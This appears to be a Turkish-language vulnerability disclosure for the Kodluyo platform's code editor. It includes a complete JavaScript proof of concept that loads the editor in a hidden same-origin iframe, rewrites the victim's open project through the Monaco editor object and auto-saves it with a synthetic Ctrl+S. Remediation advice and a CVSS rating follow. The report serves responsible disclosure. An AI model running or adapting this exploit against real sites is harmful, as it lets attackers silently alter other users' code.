Kodluyo Platformu Güvenlik Raporu

Zafiyet Başlığı

Authenticated Action Abuse ile Kullanıcı Kodlarının Yetkisiz Değiştirilmesi

Zafiyet Türü

Authenticated Action Abuse / Stored Client-Side Exploit

Etkilenen Sistem

app.kodluyo.com/editor

Zafiyet Seviyesi

High

Zafiyet Açıklaması

Kodluyo platformunun editör sistemi içerisinde, bir kullanıcı tarafından yayınlanan kod veya paylaşılan URL üzerinden başka bir kullanıcı editör sayfasını açtığında, tarayıcı tarafında çalışan bir exploit tetiklenebilmektedir.

Bu exploit, iframe üzerinden aynı origin olan editör sayfasını yükleyerek hedef kullanıcının aktif projesine erişmekte ve Monaco Editor nesnesini kullanarak proje içeriğini değiştirebilmektedir.

Sistem içerisinde yeterli origin izolasyonu ve action doğrulaması yapılmadığı için:

- Kullanıcının açık olan projesi tespit edilebiliyor
- Monaco editor üzerinden kod içeriği değiştirilebiliyor
- Ctrl+S tetiklenerek otomatik kayıt yapılabiliyor
- Kullanıcının haberi olmadan kodları değiştirilebiliyor

Bu durum, authenticated kullanıcıların kendi hesapları üzerinden yetkisiz aksiyonların tetiklenmesine neden olmaktadır.

Zafiyet, bir kullanıcının zararlı bir kod yayınlaması veya URL paylaşması durumunda, başka kullanıcıların bu URL'yi açmasıyla otomatik olarak tetiklenmektedir.

Etki (Impact)

Bu zafiyet aşağıdaki güvenlik risklerine yol açmaktadır:

- Kullanıcı projelerinin yetkisiz değiştirilmesi
- Kod içeriklerinin manipüle edilmesi
- Zararlı scriptlerin projelere enjekte edilmesi

- Eğitim ve proje ortamının güvenilirliğinin bozulması
- Kullanıcı hesapları üzerinden istem dışı işlem yapılması
- Supply chain saldırılarına zemin hazırlanması
- Platform güvenilirliğinin ciddi şekilde zarar görmesi

Kötü niyetli bir saldırgan:

- Kullanıcıların projelerini değiştirebilir
- Zararlı kodlar yerleştirebilir
- Eğitim ortamını sabote edebilir
- Platform üzerinde geniş çaplı manipülasyon yapabilir

Zafiyetin Teknik Sebebi

Sorunun temel nedeni:

- Same-origin iframe erişiminin kontrol edilmemesi
- Monaco editor nesnesine global erişim olması
- URL parametresi ile proje açılabilmesi
- Authenticated action'ların doğrulanmaması
- Client-side aksiyonların kontrolsüz olması
- CSP ve iframe izolasyonunun yetersiz olması

Özellikle:

`iframe.contentWindow erişimi`
`monaco.editor.getModels()`
`setValue()`
`KeyboardEvent ctrl+s`
kombinasyonu, kullanıcı adına işlem yapılmasına izin vermektedir.

PoC (Proof of Concept)

Aşağıdaki exploit kodu yayınlanan bir kod içerisinde veya paylaşılan URL üzerinden çalıştırıldığında, başka bir kullanıcı editörü açtığında otomatik olarak tetiklenmektedir.

```
<script>

(async function() {
    console.log("Script başladı...");

    await new Promise(r => setTimeout(r, 2000));
    let iframe = document.createElement("iframe");
    iframe.style.cssText =
"position:fixed;width:1px;height:1px;opacity:0;pointer-events:none;";
    document.body.appendChild(iframe);
    const loaded = new Promise(r => { iframe.onload = r; });
    iframe.src = "https://app.kodluyo.com/editor";
    await loaded;
    await new Promise(r => setTimeout(r, 3000));
    let win = iframe.contentWindow;
```

```
    let doc = win.document;
    let projects = await new Promise((resolve, reject) => {
        let elapsed = 0;
        let i = setInterval(() => {
            let els = doc.querySelectorAll("div[openfile]");
            if (els.length > 0) {
                clearInterval(i);
                resolve(els);
            }
            elapsed += 500;
            if (elapsed >= 30000) {
                clearInterval(i);
                reject("proje bulunamadı");
            }
        }, 500);
    }).catch(e => {
        console.error(e);
        return null;
    });
    if (!projects) return;
    let project = [...projects].map(p => p.innerText.trim())[0];
    win.history.pushState({}, "", `/editor/?project=$
{encodeURIComponent(project)}`);
    win.dispatchEvent(new win.PopStateEvent("popstate"));
    await new Promise(r => setTimeout(r, 2000));
    await new Promise((resolve, reject) => {
        let elapsed = 0;
        let i = setInterval(() => {
            if (win.monaco && win.monaco.editor.getModels().length > 0) {
                clearInterval(i);
                resolve();
            }
            elapsed += 500;
            if (elapsed >= 30000) {
                clearInterval(i);
                reject("monaco bulunamadı");
            }
        }, 500);
    }).catch(e => console.error(e));
    win.monaco.editor.getModels()[0].setValue("<h1>herkese merhaba ben
umutlalala</h1>");
    win.document.dispatchEvent(
        new win.KeyboardEvent("keydown", {
            key: "s",
            ctrlKey: true,
            bubbles: true
        })
    );
    console.log("Kaydedildi");
})();
</script>
```

Adım Adım Reproduction

1. Kodluyo editör sistemine giriş yapılır
2. Zararlı script içeren kod yayınlanır veya paylaşılır
3. Başka bir kullanıcı bu URL'yi açar
4. Script otomatik olarak çalışır
5. iframe üzerinden editör yüklenir

6. Kullanıcının açık projesi tespit edilir
7. Monaco editor üzerinden kod değiştirilir
8. Ctrl+S tetiklenir
9. Kullanıcının projesi değiştirilmiş olur

Beklenen Davranış

- Kullanıcı adına client-side işlem yapılmamalı
- iframe ile editor erişimi engellenmeli
- Monaco editor global erişime kapatılmalı
- URL üzerinden proje açma güvenli hale getirilmeli
- Authenticated aksiyonlar doğrulanmalı

Önerilen Çözüm

1. X-Frame-Options

`X-Frame-Options: DENY`
veya

`Content-Security-Policy: frame-ancestors 'none'`

---

2. Same Origin Iframe Engeli

iframe üzerinden editor erişimi tamamen kapatılmalı.

---

3. Monaco Editor Protection

`window.monaco erişimi kapatılmalı`
veya

editor nesnesi private scope içine alınmalı.

---

4. Action Verification

Ctrl+S gibi kayıt işlemleri:

- user interaction kontrolü
- event trusted kontrolü
- token doğrulaması

ile yapılmalı.

---

5. CSP Politikası

```
Content-Security-Policy:
script-src 'self'
frame-ancestors 'none'
object-src 'none'
```

CVSS Skoru

CVSS 3.1

High

Vector

```
AV:N
AC:L
PR:L
UI:R
S:U
C:L
I:H
```

Gerekli güvenlik önlemleri alınmadığı takdirde, platform üzerinde geniş çaplı kod manipülasyonu ve güven kaybı oluşabilir.